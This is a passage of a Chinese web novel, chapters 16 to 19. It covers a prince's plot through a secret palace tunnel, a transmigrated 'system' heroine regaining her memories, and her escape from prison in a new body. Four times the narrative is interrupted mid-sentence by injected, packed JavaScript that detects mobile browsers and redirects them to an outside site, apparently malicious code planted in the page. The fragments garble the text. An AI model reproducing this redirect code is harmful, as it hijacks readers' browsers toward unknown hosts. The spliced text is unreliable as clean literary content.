烛火摇曳,帐内两道身影交叠,起起伏伏,伴随着沉重的喘息声。 “嫣儿。”周玄喘着粗气,动作不停,“你方才说宫中有一条通往宫外的密道,此话当真。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239421|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林芷嫣眼神迷离,声音也断断续续:“自然是真的,我亲耳所听,不会有假。” 闻言,周玄眸中有精光闪过,动作也快了起来。云雨方歇,他揽过林芷嫣柔软的身躯,温声细语道:“嫣儿可知这条密道在哪儿?” 林芷嫣靠在他的胸口上,闻言微微抬头,看着他的眼睛,眸光闪烁。 “我自然知道,不过这么大的秘密,王爷总不能就这么要去了吧?” 周玄眉头微皱,心底涌起一丝不耐,但表明却依旧保持温柔:“你想要什么?” 林芷嫣目不转睛地看着他,一字一顿道:“中宫之位。” 周玄盯着她看了许久,随后连连大笑,点头道:“好啊,若真能成事,本王便许你皇后之位。” 得到承诺后,林芷嫣这才展颜一笑,手指揉捻着周玄的发梢,声音轻柔:“王爷应当知道,我大伯深受先帝信任,当年宫内许多隐秘的工程都经过他的手,这条密道便是在我大伯主持下修建的。这条密道的入口是御花园的假山,出口则在皇陵的一处偏殿里。” 汹涌的喜悦感让周玄心口一滞,他调整着呼吸,迫不及待地问道:“御花园内有好几座假山,皇陵里是偏殿也有许多处,嫣儿能否说得具体些?” 见他这副样子,林芷嫣却不紧不慢,她抬手抚上周玄的脸庞,声音中带着几分亲昵。 “王爷别这么心急,我还没说完呢。”她故意拖长语调,继续道,“大伯死后,这条密道的图纸被父亲偷偷取走,后来他醉酒时不小心向我透露了这件事,我也因此看到了那张图纸。密道的入口是御花园最西侧的那座假山,出口则在皇陵东侧最靠南的偏殿内,殿内供桌下的地砖是活动的,那里便是密道出口。” “好,真是好极了!” 周玄兴奋地两眼放光,他原本打算让宫里安插的眼线打开宫门,他再带人冲进皇宫将周池拿下。如今有了这条密道,他便可神不知鬼不觉地将人送入宫中,简直是事半功倍。 想到这里,他心跳如擂鼓,当即翻身下榻,动作利落地抓起散落的衣物,穿了起来。 “王爷?”林芷嫣怔住了,她撑起身子,疑惑地看着周玄。 周玄系好腰带,低声安抚道:“嫣儿,你留在此处等着,待本王夺位成功,便派人来接你入宫。” 林芷嫣大脑一片空白,不详的预感涌上心头,她伸手去拽周玄的衣袖,却因为距离太远跌倒在地上,发出一声闷响。 疼痛让她眼前发黑,然而周玄却恍若未闻,头也不回地消失在门外。 夜风灌入,烛火乱晃,林芷嫣被冻得浑身发抖,却仍不甘心地盯着那人离去的背影。 不知过了多久,林芷嫣觉得四肢冻得麻木,才用尽力气从冰冷的地面上撑起身,踉跄着回到床榻上,用被褥将自己裹起来,蜷缩成了一团。 泪水从眼角滴落,林芷嫣感受着身体传来的不适感,心中寒意更盛。 她好像,有一点后悔了。 16. 简直是自寻死路 皇宫,御书房内。 赵青半跪在地上,低声汇报着探查来的情况:“据探子回报,恭亲王昨夜丑时离开别院,朝着皇陵的方向去了。” 闻言,周池皱起眉头,在脑海中问道:“系统,林芷嫣的位置有变化吗?” 林清许查了一下,确定人还在西郊别院后,立刻回答道:“没变,看来周玄走的时候没带上她。” 得到答案后,周池放了心,转而朝赵青命令道:“你稍后带人将周玄的别院围了,控制住里面的人,不许让他们逃跑,也不许他们向外传信,尤其是一个名叫林芷嫣的女子,务必将其活捉。” 赵青领命,正欲退下,周池却又叫住了他。 “等等。”周池沉声道,“活捉林芷嫣后,不要向她透露林府已被抄没,其父林宿气急攻心,已重病垂危的消息。她若问起林家之事,就说林家尚且安好,让她安心。” 赵青不太明白周池想做什么,但他觉得这并不是他能问的事情,于是应道:“属下遵命,定不让林小姐知晓林家变故。” 说完,赵青领命而去,但林清许并没有他这样的“觉悟”。 “你为什么要瞒着林芷嫣,她不是和你有仇吗?” 如果林芷嫣知道林家倒了,只怕更绝望更痛苦,这才是周池报复她的正确方式吧。 听到林清许的疑问,周池没再故弄玄虚,十分干脆地回答道:“此人素来心高气傲,倘若知道林相已倒,她在周玄那里没了利用价值,多半会心存死志,而现在她还不能死。” 看着周池的神色,林清许默默在心里给林芷嫣点了根蜡,随后又在控制台上敲了几下,查找周玄的位置。 “刚才赵青说得没错,周玄现在确实在皇陵,难道说他打算在那里集结人马?” 周池并不知道密道的事,因此他也不清楚周玄这是在搞什么幺蛾子。 “皇陵依山而建,外围有众多守卫,想要在那里无声无息地集结兵马,绝无可能。” 林清许盯着光屏上闪动的光点,啧啧称奇:“这可真是怪了,从我这里看,周玄身边有几百个人,全都聚集在皇陵这里。那么多的人,居然没有引起守卫的注意?” 周池也意识到不对,可他再怎么冥思苦想,也想不到皇陵竟有一条通往皇宫的密道。 半晌,他才传令让工部将皇陵近几十年的修缮与改建的记录送至御前,想要从中寻找线索。 过了两个时辰,工部尚书亲自带着几个木箱,脚步匆忙地赶到御书房。 “陛下,这是工部有关皇陵修建的所有存档,从三十年前至今,凡有记录者,皆在此处。”工部尚书抹了抹额头的汗,恭敬道。 “有劳了。” 待尚书离开后,周池示意内侍将木箱抬到书案旁,屏退了其他人,只留下自己对着堆积如山的图纸与清单。 时间过得很快,转眼间,已经到了傍晚。 林清许一直注意着周玄的位置,见天上已升起一轮弯月,而周池还在对着那些存档眉头紧锁,不禁提醒道:“已经天黑了,我看周玄离皇宫越来越近,你那边有眉目了吗?” 闻言,周池放下手上正在看的图纸,揉了揉眉心。 “没有。”他声音里压着一丝不易察觉的焦躁,“从这些记录里,看不出任何异常。” 林清许看着光屏上缓慢移动的光点,脑海中忽然蹦出一个猜测。 “说起来,我这边倒是有个发现。周玄朝皇宫逼近的轨迹,似乎有些奇怪。” “哪里奇怪?” “他移动的路径似乎不受地形影响,是一道笔直的线,而且速度也很均匀,就像是……” 林清许想不出合适的词来描述,但周池却已明白她的意思。 “你是说,周玄如今正走在一条通往皇宫的密道里?” “很有可能,就是不知道这条密道的出口具体在什么地方。” 不过,从皇陵通向宫里的密道,她为何感觉如此熟悉呢? 林清许坐在控制台前,神色怔然。 “若是有一天,你后悔了,就去御花园看看最西侧的假山吧,那里有一条密道……” 耳畔响起一道柔和的女声,林清许冥思苦想,却怎么也想不起这话究竟是何人所说。 “最西侧的假山。”林清许喃喃自语道。 周池听见她的低语,追问道:“什么假山?” “御花园最西侧的假山。”林清许脱口而出,“那里是密道的出口。” 周池惊疑不定:“可你方才不是说,不知道密道具体的出口在哪儿吗?” 林清许一时语塞,她刚才确实不知道出口的位置,那句话就这么突然出现在她脑海里,让她不知该如何解释。 “我、我用能量查了一下,可能是那里。” 林清许说得含糊不清,也没去关注周池的反应,而是又仔细回想起刚才那句话。 那道声音实在太熟悉了,她究竟是谁?那句话又是对谁说的,难道是她自己吗? 这个念头让她悚然一惊,可如果她曾听过这样的话,却为何会毫无印象? 这样看来,她能来到这个世界,作为系统绑定周池,或许也并非偶然。 纷乱的思绪如同潮水般冲击着她,以至于周池在脑海中唤好几声,她才反应过来。 “我派人去查验过了,西侧的假山下的确有一条密道,我已让人在那里布下埋伏,如果周玄真的走这条密道,那就是自寻死路。” 林清许定了定神,刚要开口夸赞,却突然被一段提示音打断了。 她快速调出人物面板,发现支线任务已经完成,于是猛地抬头看向能量条。 能量条已经不再波动,静静地停在最后的刻度上。 任务完成的提示音还在继续,一行行文字在光屏上滚动出现,林清许却觉得眼前有些模糊。 她闭了闭眼,深吸一口气,才重新聚焦视线。 “支线任务完成,能量满了。” 林清许说完这句话,殿内的气氛瞬间变得死寂。 能量满了,这意味着她马上要离开这个任务位面。 提示音变得越来越急促,林清许疑惑地看着光屏,只觉得一股吸力拉扯着她,要将她从这个系统空间里剥离出去。 “等、等一下!” 她甚至来不及向周池道别,眼前的景象就彻底被白光吞噬。伴随着眩晕与失重感,最终她又一次落在在那片无边无际的,纯白的光芒之中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254685|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不知过了多久,林清许缓缓睁开眼睛,映入眼帘的是一张小巧精致的脸。 小女孩长着一双金色的眼眸,银白的睫毛一闪一闪,正好奇地凑近她。 “你醒啦?”小女孩的声音清脆,带着一丝空灵感,“能量回冲太猛,你的意识差点散掉呢,还好我及时出手把你拉回来了。” “你是谁,这里是传送点吗?” 面对林清许的问题,小女孩歪了歪头,随后伸手点了点她的眉心。 “差点忘记了,你的记忆封印还没有解除。” 灼热的痛感从眉心渗入,她被尘封的记忆,也随之浮现出来。 她叫林清许,小字阿妤。 父亲是林家长子林衍,曾任工部尚书一职,深受皇帝器重。 母亲是云家二小姐云笙,与齐瑶从小一起长大,情如姐妹。 因此,即便齐瑶已是皇后,也时常召云笙入宫与她相聚,后来周池与林清许出生,两人还商量着定下了娃娃亲。 可惜好景不长,一场变故打破了她无忧无虑的生活。 那年,京城连日暴雨,城南的兰江,水位暴涨,河堤多处告急,林衍亲赴险情最重的一处堤段指挥抢险。 然而,土地湿滑,一名河工在搬运沙袋时不慎摔倒,连带着将林衍撞入湍急的江水中。 众人拼力将林衍救起时,他已没了气息。 消息传回府中,云笙悲痛欲绝,从此一病不起,不过半年便撒手人寰。 于是,林清许成了父母双亡的孤女,族中长辈商议后,将她交给了二伯林宿抚养。 林宿与林衍虽是兄弟,性情却截然不同,他对林清许这个侄女说不上苛待,却也并无多少温情。 与此同时,林芷嫣忌恨她抢走了自己“丞相府大小姐”的名号,又分走了父亲的关注,于是时常明里暗里地刁难她。 齐瑶得知故人之女处境艰难,对此怜惜不已,常召林清许入宫陪伴。 再后来,齐瑶也因难产离世。周池失去了最疼爱他的母亲,不再像之前那样开朗,但因为有林清许,他的世界里始终留有一抹暖色。 直到那日宫宴,林芷嫣将她推入池中。她在水里拼命挣扎,看到周池焦急地朝她奔来,却被林芷嫣带来的家丁打中后颈,跌倒在地上。 “这究竟是怎么回事,我不是已经死了吗?” 林清许浑身颤抖,她捂住额头,直到眉心的灼热感彻底消失。 “没错,你已经死了哦。” 小女孩眨了眨眼,似乎在面对一件十分平常的事:“你的□□虽然因为溺水失去心跳,无法再继续维持下去,但你的灵魂没有消散,而是被一位主神捕捉到,带去做任务啦。不过你和你原本世界的气运之子,有着极深的因果羁绊,你的死亡导致他的命运轨迹发生偏移,从而引发位面产生了动荡。” 说到这里,小女孩摊开胳膊,做了个无奈的手势:“所以呢,为了稳住这个位面,我和那位主神做了一些交易。得到你的魂体之后,我封印了你在原来世界里的记忆,又给你植入了一段虚假的记忆,然后就把你投放到原来的世界里,以系统的身份去帮助周池,从而修正这个位面。” 面对小女孩的解释,林清许呆若木鸡。 17. 赶快离开牢房 小女孩的倾诉欲十分强烈,显然她对自己的安排非常满意。 林清许沉默地听着她说的话,这才明白了整件事情的来龙去脉。 原来她所在的世界归属于一个名叫“羽”的主神,这个小女孩算是羽的女儿。 在原本的世界线里,林清许被堂妹推入水中溺亡,作为世界主角的周池目睹一切,但他没有证据,又势单力薄,没办法为林清许和齐瑶报仇,只好韬光养晦,隐忍蛰伏,登上帝位后再将仇家一并血洗。 彼时的他已心性大变,视人命为草芥,因滥杀与酷政引得人心惶惶,成了一个彻头彻尾的暴君。 最终,他在一个月明星稀的夜晚,跳入御花园的莲池中,自尽而亡。 “这条世界线严重崩坏,主神让我想办法进行修复,所以我就找到了你。” 小女孩指着林清许,高兴地手舞足蹈:“通过这种方式,你吸取了主角身上一半的气运,所以这个位面里就有两个主角啦。不过因为一些原因,你之前的那个身体不能再用了,所以我又帮你找了一个。” 说完,小女孩在手中凝结了一个金色光球,将它送入林清许的眉心。 这熟悉的场景令林清许深感不妙,但她还没来得及反抗,魂体就又被传送回了周池所在的世界里。 又是这样,一点儿缓冲的时间都不给她留! 一来一回,林清许再睁开眼时,最先感受到的是刺骨的寒意,还没等她打量周围的环境,穿梭时空带来的眩晕感再度袭来,让她不禁侧身干呕起来。 阴暗潮湿,还有一股难闻的气味,这究竟是什么地方? 林清许捂着胸口调整呼吸,待胃里的不适感消退之后,才抬起头向周围打探。 不看不要紧,一看直接让她吓了一跳。铁栏和石壁将人们分开,每个人身上都穿着囚服,很显然,这地方是监牢。 面对如此糟糕的开局,林清许的心沉到了谷底。 “接下来我要给你传送一些关于这具身体的信息,以后就要靠你自己啦。另外,我建议你早点离开这里,因为最终任务还没有完成,如果主角的行为出现太大偏差的话,这个世界位面还是会崩坏的。” 小女孩的声音渐渐消散,与此同时,关于这具身体的信息被传入林清许的脑海中。 这具身体的原主与林清许还有些关系,她叫林轻语,是林家旁系血脉。 林轻语一出生就断了气,可她母亲不肯放弃,硬是抱着她去求各路名医,甚至请了道士做法。 许是这份执念感动了上天,林轻语竟真的活了过来,但却成了一个药罐子,不仅体弱多病,智力也出了问题。 林轻语一直被养在后宅,从未出过府门,此次入狱则是受了林宿的牵连。 不过,林清许作为旁观者,从她的角度来看,林轻语其实出生时就已经死了。她的母亲不知从哪里找来一枚能够锁住魂魄的玉佩,将她的部分魂魄强行禁锢在身体里,这才让她“活”过来。 也正因如此,另一半魂魄不能去投胎,只能缠在林轻语身边,导致她体弱多病,形如痴傻。 直到林轻语被关入牢狱,身上带的玉佩被狱卒搜走,她的魂魄才被小女孩重新凝聚带去投胎,而作为交换,她的身体就由林清许接管。 “也算是解脱了。” 林清许轻叹一声,随后拢了拢身上的囚衣。这具身体实在太过孱弱,呼吸平缓些还好,若是呼吸略微急促一些,胸腔便会传来一阵钝痛。 “都起来,放饭了!” 牢房外传来一阵急促的脚步声,狱卒的声音在甬道里回荡着。 林清许坐着地上,看见几个狱卒抬着木桶挨个牢房分发稀粥。轮到她的牢房时,负责盛饭的狱卒瞥了她一眼,然后侧过身,倒了满满一碗的粥。 林清许十分诧异,她抬眼看向那名狱卒,却发现那人已换上一份凶神恶煞的表情,厉声催促道:“等什么呢,还不快喝?” 她赶忙接过陶碗,将米粥灌入口中,温热的汤水滑进胃里,暂时驱散了身上的寒意。 见她将米粥喝下,几名狱卒又抬着木桶走向下一间牢房。 吃饱之后,林清许抹了抹嘴唇,挪到角落里蜷缩着,悄悄观察牢房里的其他人。 算上她,这间牢房里一共有六个女囚,另外几人眼神麻木呆滞,偶尔朝她瞥来一眼,也很快移开视线。 看来这些人与她并不相识。 得出结论后,林清许低下头,用袖子掩住口鼻,轻轻咳了几声。 听到这咳嗽声,一个蓬头垢面的妇人动了动,眼珠看向林清许,表情十分嫌弃。 “这个新来的还是个病秧子,她刚才咳得那么厉害,不会是要病死了吧?” 那妇人对身旁的人小声嘟囔着,似乎怕林清许将病气传给她,于是将身子朝远处挪了挪。 林清许垂下眼帘,只当没听见那妇人的话。 不过刚才那个狱卒是怎么回事,似乎对她格外关照,难道是有人替她打点吗?如果真是这样,那她能不能借助这一点,离开这个地方? 林清许靠在石壁上,任由思绪飘散。 到了深夜,牢房里的寒意愈发刺骨,林清许迷迷糊糊地睡着,听到不远处传来铁链拖拽的声音,才陡然惊醒。 这些人不会是朝我来的吧? 以免徒生事端,林清许假装自己还在熟睡,仔细听着牢房外的动静。 声音越来越近,最终停在了她所在的牢房前。林清许心跳如鼓,她听见狱卒用钥匙打开牢门,有人走到她的身旁,才悄悄睁开眼睛,睡眼惺忪地看向几名狱卒。 “林姑娘,跟我们走一趟吧。” 林清许眨了眨眼睛,并没有起身,反而瑟缩着往后挪了挪。 为首的狱卒见她这幅模样,并没有为难,反而安慰道:“姑娘别怕,只是问几句话。” 为首的狱卒声音还算客气,然而旁边那个矮一些的狱卒却有点不耐烦,上前一步道:“磨蹭什么,赶紧起来!” 说着他就要伸手去拽,林清许猛地睁大眼睛,害怕地向后一躲,脊背重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263832|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重地撞在冰冷的石壁上。 “咳咳咳……” 剧烈的咳嗽声在牢中回荡着,为首的狱卒皱了皱眉,一把拦住同僚:“急什么,要是这姑娘出了事,你担得起责任?” 听到这里,林清许确信早先的米粥并不是偶然,而是有人特意关照过的。 她心中稍定,面上却仍维持着惊恐不安的神色,等几名狱卒低声哄了几句,才怯生生地起身,跟在他们身后。 甬道幽深漫长,因天气寒冷,石壁上已有水珠凝结。林轻语这具身体连正常行走都吃力,不过几十步就已气喘吁吁,全靠两侧狱卒的狱卒搀扶着。 最终,她被带进一处相对干净的隔间。这里有张木桌,一个中年男子端坐在木桌后面,穿着青灰色衣服,面容瘦削,眼神锐利。 他抬手示意狱卒退到门外,只留下林清许一人站在桌前。 “林姑娘请坐。”男人的声音不高,带着一种公事公办的平淡感。 林清许依言坐下,双手放在膝上,微微垂着头,眼观鼻鼻观心。 “我叫苏楚,今夜请你来,只是循例问几句话。”苏楚微微颔首,手指不经意在桌上敲了一声,“你可知自己因何入狱?” 林清许茫然地眨了眨眼,没有反应。 并不是她夸张,林轻语从前一直都是衣来伸手饭来张口,说话只能蹦出几个不连贯的字,别人说些复杂的话她也听不懂,需要别人多次重复再比划着,她才有可能理解对方的意思。 而现在,她必须演出这种状态。 苏楚盯着她看了片刻,见她神色茫然,于是提高声音,放缓语速重复了一遍:“你因为什么才到这里?” 林清许瑟缩了一下,声音细若蚊蚋:“冷,这里冷……” 苏楚的眉头微不可察地皱了皱,他翻开手边的一卷文书,低头看了几行,又抬头打量她:“林宿是你什么人?” “宿?”林清许含糊地重复了一个字,眼神依旧清澈,仿佛无法理解这个字的含义。 隔间里陷入短暂的沉默,苏楚的手指在桌面上轻轻敲了几下,看向林清许的目光带着几分审视。 终于,他嗤笑一声,声音里满是不加掩饰的讥讽。 “想靠一个傻子的话摆脱罪名。”他站起身,走到林清许身旁,俯视着她,“真不知道究竟傻的人是谁。” “罢了。”苏楚忽然转身,朝门外扬声道:“带她回去吧,好生照料着,别让她病死了。” 最后那句话说得轻描淡写,却让林清许心中一震。 被重新带回牢房后,林清许蜷缩回角落,闭上眼睛,开始梳理现状。 有人想利用她脱罪,并且已经打点过狱中关系,主审官员苏楚对此心知肚明,但他并不放在心上,只要她还活着就行。 不过从他的话可以听出,或许还有人想让她在牢中病死呢。 小女孩说的没错,她必须尽快离开这里。 林清许缓缓睁开眼睛,看向牢房外摇曳的火焰。 也许,可以赌一把。 18. 离开牢房 接下来的几日,牢狱生活依然如旧。每日两餐,林清许总能分到比别人多些的粥,甚至有时狱卒还会偷偷塞给她一个面饼。 大部分时间,林清许都表现得十分安静,只是蜷缩在角落,偶尔咳嗽几声。 这天夜里,林清许捂着肚子在地上打滚儿,嘴里还一直喊着疼。 牢房里的囚犯被她闹出来的动静吵醒,一时间,抱怨声此起彼伏。 “半夜三更的,还让不让人睡觉!” “这幅样子,怕不是又犯病了?” …… 起初,狱卒并未理会这边的动静,直到林清许的痛呼声越来越微弱,隔壁牢房才有人冲着甬道大喊:“快来人呐,这边有人要不行了!” 脚步声匆匆响起,林清许听见牢房的门被人打开,蜷缩地更厉害了。 苏楚交代过,不能让她死在这里,这几名狱卒见她一副要死不活的样子,纷纷慌了神。 “快,先把人抬出来!”为首的狱卒急声道。 几人手忙脚乱地将林清许抬出牢房,火把的光映得她的脸惨白如纸。一名狱卒探了探她的鼻息,脸色一变:“好像要没气了。” “我去请医官。”另一人拔腿就跑,速度飞快。 林清许闭着眼,控制着呼吸。剩下的几名狱卒将她带到后边的隔间里,见她呼吸微弱,浑身冰凉,于是又找来了棉被,给她盖上保暖。 没过多久,一个背着药箱,白发长须的老者匆匆赶来,他拨开围着的狱卒,看到林清许的状况后,神情立刻变得严肃起来。 探过鼻息,又摸过脉象后,老者的眉头越皱越紧。 “这姑娘脉象虚弱,加上寒气入体,已是危症。此地过于阴寒,若不将人挪走静养,只怕熬不了几日啊。” 听到这句话,林清许悬着的心终于放下了。 实在是太顺利了! 林清许紧闭着眼,竭力维持着虚弱的呼吸,心里却乐开了花。 老医官的话音刚落,狱卒们就慌乱地议论起来。 “这可如何是好,苏大人交代过要留她性命的。” “医官都这么说了,总不能真让她死在这儿吧,要是有什么三长两短……” 硬拖下去也不是办法,于是为首的狱卒一咬牙:“我去禀报苏大人,你们看好她。” 隔间内瞬间安静下来,林清许正要把眼睛睁开一条缝,不料那老医官却“咦”了一声,随后又要伸手搭上她的手腕。 糟糕,可不能让他发现破绽。 林清许狠了狠心,在自己脸颊内侧的肉上咬了一口,随后又陡然惊醒,趁旁人还未发觉,将双手抽回身后。 “咳咳咳!” 她咳了几声,又吐出一口鲜血。老医官的注意力瞬间转移,指挥狱卒准备热水布巾,以便他为林清许施针。 几枚银针刺入穴位,林清许只觉得一股暖流涌入四肢,就连胸口处的闷痛也缓解了不少。 看来这老医官还真有几分本事,她这次运气怎么这么好? 恍惚间,林清许想起来小女孩对她说过的话。 吸取了周池身上一半的气运,她现在也是这个世界的主角,所以她现在运气这么好,貌似也是正常的。 不过,兴许是因为针灸让她的气血通畅了,林清许感到一阵困意。 她左等右等也没等到苏楚,困得上下眼皮直打架,索性闭目养神。 过了许久,苏楚才披着一件玄色外袍走了进来,他扫了一眼榻上苍白如纸的林清许,目光转向一旁老医官。 “她这病当真如此危急?” 老医官语气沉重:“回大人,这位姑娘脉象微弱,寒气已侵入肺腑,耽搁不得了。” 苏楚沉默片刻,目光落在林清许那张毫无血色的脸上,轻轻叹了口气。 …… 醒来时,已是日上三竿。 马车颠簸,林清许缓缓睁开眼,透过车帘的缝隙,看见了外面连绵不断的山峦。 不是,她这是上哪儿来了? 林清许呆滞片刻,意识到自己被带出牢房,心里又惊又喜。 可惜她睡得太早,没能听见苏楚究竟都说了些什么,但是她现在可是朝廷钦犯,苏楚竟然能把她从牢房里带出来,这也太能耐了吧! 既然他这么厉害,能不能直接一步到位,把她带去周池身边呢? 林清许美滋滋地幻想着,想到周池得知她身份后震惊的神情,忍不住“扑哧”一笑。 马车又行了一阵,最终停在一处山谷中的院落前。这里有几间屋舍,院里晒着些许药材,仔细一闻还能闻到淡淡的草香。 车夫撩开车帘:“林姑娘,到了。” 林清许向他身后望了望,意识到苏楚并未跟来,心中的幻想顿时破灭。 此处院落幽静,比起冰冷的牢房不知好了多少。林清许下了马车,眼神迷茫地望向四周,不一会儿就有一个头发花白的老者过来,将她带进了院子里。 “以后你就叫我张伯吧。” 林清许眨了眨眼:“张、伯。” 见她这幅样子,张伯摇了摇头,眼神中透出一丝怜悯。 林清许住进了采光最好的那间厢房里,除了张伯以外,这个院子里还住着几个侍从,他们以为林清许是个傻的,于是在她面前说起话来毫无顾忌。 “诶,你听说了吗?恭亲王与丞相勾结,企图谋反,昨日已被陛下下令斩首示众了。” “不对吧,恭亲王虽然没了,但林相不是还活得好好的吗?” “要我说,林小姐还真是可怜,林相把罪名全都推到她父亲的身上,她父母不肯承认,当天晚上就双双暴毙,令谁想也知道是谁干的。” “幸好咱们苏大人是个大善人,不然林小姐恐怕……” 屋外的话语清晰地钻入林清许的耳朵里,虽说她早就知道林宿品行恶劣,但原身的父亲好歹也是他的族人,他怎能下得去手? “吱呀”一声,屋门被推开,侍女端着一碗热气腾腾的中药,走到林清许旁边放下。 “林小姐,该喝药了。” 林清许回过神来,接过瓷碗,一口一口地咽下去。这是那位老医官为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273811|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开的药,说是长期饮用可以滋养身体,她这才喝了几次,便觉得浑身舒坦了许多。 林清许朝她笑了笑:“多谢。” 侍女头一次听见她开口说话:“林小姐,您这是?” 林清许不自在地移开视线:“许是药方起了作用,这几日脑子清醒了不少。” 说完,她又两眼亮晶晶地看着侍女,语气近乎讨好:“我一个人待在屋子里,接触不到外面的东西,真的好闷。你能不能和我讲讲最近京城里都发生了什么事?” 侍女见她目光清澈,言语清晰,与先前痴傻模样判若两人,不由得又惊又喜,如今听她言辞恳切,心下便软了几分。 她向外看了看,压低声音道:“林小姐既问了,奴婢便捡些知道的说说,只是您千万别说出去。” 林清许立刻点了点头,神情动作十分乖巧。 侍女在她身旁坐下,一边注意着屋外的动静,一边小声道:“京城里如今人人自危,恭亲王因谋逆被斩,可陛下似乎余怒未消,还在清查余党,好些官员都受了牵连。” 她顿了顿,又道:“小姐必是想知道林家的消息,但林家如今实在不太好。” 林清许:“嗯,我知道。说起来,苏大人最近可有什么事情?” 侍女一怔,下意识地摇头:“苏大人的事,奴婢们怎敢打听,不过苏大人一向小心谨慎,定不会被波及到。” 林清许还想再问,可又怕侍女发现异常,于是又随口闲聊几句,就让她离开了。 平静的日子又过了几天,林清许觉得身上的病痛都好得差不多了,于是打算在屋里锻炼身体,为日后跑路做好准备。 然而,还没怎么活动筋骨,屋门便被人敲响。 定是侍女又来给她送药了。 林清许调整好呼吸,扬声道:“进来吧。” 门被推开,侍女端着药碗走到林清许身旁,一如既往地做了下来。 “林姑娘,最近京城有件喜事呢。” 林清许来了精神:“什么喜事?” 侍女倾身过来,声音压低,却掩不住那股兴奋劲儿:“恭亲王薨逝,陛下借此查清许多案子,原来齐将军并未与外敌勾结,所谓的书信往来都是恭亲王伪造的。而且前些年在城门外自刎的人也不是齐将军,而是与他模样相像的一个好友,那人受恭亲王胁迫,这才做出此事。” “沉冤昭雪,的确是件喜事。” 侍女弯了弯嘴角:”还不止呢,齐将军与安家三房的嫡小姐情投意合,陛下感念齐将军的忠义,亲自下旨为两人赐婚,婚期就定在下个月。” “这可真是太好了!”林清许顿时两眼放光,意识到自己情绪过于激动后,她又咳了几声,语气感慨,“有情人终成眷属,真是件大喜事。” 窗外日光斜移,待林清许喝完药,侍女止住话头,收拾了药碗起身。 走到门边,她又想起什么,回头道:“林小姐好生歇着,最近天气转寒,夜里莫要开窗。” 门轻轻合上,林清许缓缓吐出一口气,更加坚定了自己要锻炼身体的决心。 19. 原来是石家遗孤 林清许几番试探,最终得出一个结论——苏楚就是想让她在这里呆一辈子。 这些日子的锻炼卓有成效,林清许急着去找周池,于是在某个月黑风高的晚上,摸走院子里处理草药的一把短刀,跑下了山。 在气运的加持下,路上虽有些波折,但她还是全须全尾地来到了山脚下。 晨雾还未散尽,林清许站在村子里的土路上,肚子咕噜噜地叫。 她将短刀藏进袖中,理了理凌乱的头发,走到最近的一户人家外,敲了敲门。 过了一会儿,一个老婆婆打开木门,手里还拎着一只鸡。 林清许放软了声音:“婆婆,我和家人走散了,实在饿得慌,可不可以给我一点吃的?” 老婆婆眯着眼打量她,见她模样着实狼狈,叹了口气:“可怜的娃娃,进来吧。” 一碗热腾腾的野菜汤下肚,林清许身子回暖了些。闲聊几句,她打听到再往南走上几里路,就能走到镇子上,于是给老婆婆塞了两枚铜钱,急匆匆地赶路。 镇子比林清许想象的更远些,她顺着黄土路走了许久,正午的日光晒得她直发昏。 她在巷口买了个粗面馍,一边啃一边留意街边的车马行,走着走着,突然有人从身后撞了她一下。 林清许踉跄几步,本能地按住袖口,回头却只看见一道身影。 “对不住对不住!” 少年一边跑,一边侧过身朝她作揖。林清许微微蹙眉,下意识地摸向腰间的钱袋,却发现早已空空如也。 “站住!”她心里一沉,拔腿就追。 那小贼熟练地钻进巷道,眼看就要消失在拐角处,然而林清许紧咬不放,竟逼得他慌不择路,被一块凸起的石头绊倒,跌在地上。 林清许赶忙上前,气喘吁吁道:“把钱袋还回来。” 石玉书正抱着膝盖在地上哀嚎,闻言颤巍巍地从怀里摸出钱袋,反手扔到地上。 林清许捡起来钱袋,掂了掂分量,又迅速解开钱袋瞥了一眼。 可以,银钱都在,一点儿都没少。 她心里一松,将钱袋系回腰间,目光落在石玉书的脸上,顿时怔住了。 “石玉书,你怎的在这里?” 